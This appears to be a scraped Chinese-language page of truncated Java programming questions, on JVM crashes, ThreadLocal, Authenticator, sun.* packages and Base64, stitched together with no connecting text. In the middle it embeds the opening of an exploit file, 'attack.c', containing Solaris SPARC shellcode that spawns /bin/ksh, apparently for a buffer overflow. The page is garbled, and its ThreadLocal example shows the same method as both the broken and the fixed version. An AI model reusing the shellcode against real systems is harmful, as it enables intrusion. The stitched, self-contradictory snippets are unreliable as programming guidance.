我已经构建了一个基于RCP的应用程序,我的一个用户在Windows XP上运行,Sun JVM 1.6.0_12有一个完整的应用程序崩溃.应用程序运行两天后(这不是新版本或任何东西),他得到了漂亮的灰色JVM强制退出框,退出代码= 1073807364.
他当时远离机器,在应用程序日志中我唯一能找到的就是与数据库进行通信(SQL Server通过Hibernate).据我所知,没有hs_文件或类似的东西.网络搜索在各种应用程序中发现了一堆带有退出代码的崩溃报告,但我没有看到导致它的原因的任何基本解释.
谁能告诉我是什么原因导致的?是否有可能被抛弃的其他信息可能有用?
我一直在阅读ThreadLocal,试图了解它是如何工作的以及我们为什么需要它.
到目前为止,我能够学到的是以下内容:
一切似乎都很好,直到我尝试从javadoc运行示例,代码提供如下:
import java.util.concurrent.atomic.AtomicInteger;
public class UniqueThreadIdGenerator {
private static final AtomicInteger uniqueId = new AtomicInteger(0);
private static final ThreadLocal < Integer > uniqueNum =
new ThreadLocal < Integer > () {
@Override protected Integer initialValue() {
return uniqueId.getAndIncrement();
}
};
public static int getCurrentThreadId() {
return uniqueId.get();
}
} // UniqueThreadIdGenerator
Run Code Online (Sandbox Code Playgroud)
如果我正确理解了这段代码,调用getCurrentThreadId()应该返回正确的自动递增的线程号,唉它为我返回0.总是0,不考虑我已经启动了多少线程.
为了让这对我有用,我不得不改变getCurrentThreadId()来阅读
public static int getCurrentThreadId() {
return uniqueId.get();
}
Run Code Online (Sandbox Code Playgroud)
在这种情况下,我得到正确的价值观.
我的代码在下面提供,我缺少什么?(这不是javadoc实际上是错的,对吧?)
package org.vekslers;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicInteger;
public …Run Code Online (Sandbox Code Playgroud) /* attack.c */
/* compile: cc -o attack attack.c */
#include <stdlib.h>
#include <stdio.h>
/* lsd - Solaris shellcode */
static char shell[] = /* 10*4+8 bytes */
"\x20\xbf\xff\xff" /* bn,a */
"\x20\xbf\xff\xff" /* bn,a */
"\x7f\xff\xff\xff" /* call */
"\x90\x03\xe0\x20" /* add %o7,32,%o0 */
"\x92\x02\x20\x10" /* add %o0,16,%o1 */
"\xc0\x22\x20\x08" /* st %g0,[%o0+8] */
"\xd0\x22\x20\x10" /* st %o0,[%o0+16] */
"\xc0\x22\x20\x14" /* st %g0,[%o0+20] */
"\x82\x10\x20\x0b" /* mov 0x0b,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"/bin/ksh" ;
#define BUFSIZE 464 …Run Code Online (Sandbox Code Playgroud) 目前我正在努力解决Sun课堂上的一个错误java.net.Authenticator.似乎Authenticator该类具有系统范围的静态Authenticator.这导致我的多线程应用程序中出现以下问题.
此时,系统将获取用户2的消息,而不是用户1的消息.
我试过寻找解决方案.许多人建议尝试以下代码:
AuthCacheValue.setAuthCache(new AuthCacheImpl());
Authenticator.setDefault(exchangeAuthenticator);
Run Code Online (Sandbox Code Playgroud)
但是,这对我来说不起作用,因为我的应用程序是多线程的(exchangeAuthenticator将始终设置为在最新线程中初始化的身份验证器).
如果有人有任何想法,即使是黑客目前也会做,我真的很感激,因为目前唯一的"整洁"解决方案是synchronized在主要的执行方法上放置一个对性能产生巨大影响的方法.
我正在尝试sun.security.ec在Win7上使用Java模块.尝试编译时,它会出现此错误:
包sun.security.ec不存在
在sun.security.*.jar文件中的位置是什么?我在哪里可以下载.jar文件?
使用 Eclipse 编译 Android 应用程序时遇到一个小问题。
它说 :
The import sun cannot be resolved
Run Code Online (Sandbox Code Playgroud)
其实我想使用NotImplementedException包中的类
sun.reflect.generics.reflectiveObjects
Run Code Online (Sandbox Code Playgroud)
你有什么想法吗?
我安装了 Java 1.7 和适用于 Java EE 开发人员的 Eclipse Indigo IDE。
我org.sun.management在JRE系统库中看到了,但我无法在我的日食中导入.允许它的任何原因.甚至maven编译失败
这是截图.
我在用 Java 8.
我想这样做:
if (operatingSystemBean instanceof com.sun.mananagement.OperatingSystemMXBean) {
})
Run Code Online (Sandbox Code Playgroud) 我对我刚才读到的内容感到有点不安.我做了一些研究,因为我想开始用Java编程,我得出结论,NetBeans是我最好的IDE,因为它具有强大的Swing GUI Designer和强大的Jasper Reports报告(iReport).
然而,甲骨文(即将收购Sun)似乎并不关心NetBeans.由于我将从现在开始用Java开始构建appz,我想知道您对以下事项的看法:
我是否会继续使用NetBeans,尽管有传言称甲骨文将停止使用它,或者我应该选择另一个IDE?
PS:基本上NetBeans是首选,但由于目前的情况,我怀疑这个决定.
谢谢
是否可以在jax-ws中更改http处理程序?例如:从weblogic.net.http.HttpURLConnection到sun.net.www.protocol.http.HttpURLConnection.
我在数据库中有一堆用sun.misc.BASE64Encodera 编码的字符串。
现在,我想使用解码(并编码其他字符串)java.util.Base64。
两者的区别在于,Sun的每n个字符添加了一个新行字符串
例:
Sun Base64: 54y49568uyj304j534w5y
34y0639j6yh93j5h0653j
s45hr68o
JDK8 Base64: 54y49568uyj304j534w5y34y0639j6yh93j5h0653js45hr68o
Run Code Online (Sandbox Code Playgroud)
为了让JDK解码器解析这些压缩的字符串,我需要删除新的行字符。
问题:
我是否要删除\r\n(Unix)或\n(Windows)或\r(旧的Mac)?因为字符串取决于对它们进行编码的机器
如果我说我zippedString.replaceAll("\r", "").replaceAll("\n", "")该如何确保我\r的实际字符串中没有小写字母,从而导致数据损坏?
还有其他方法可以在这两种机制之间建立桥梁吗?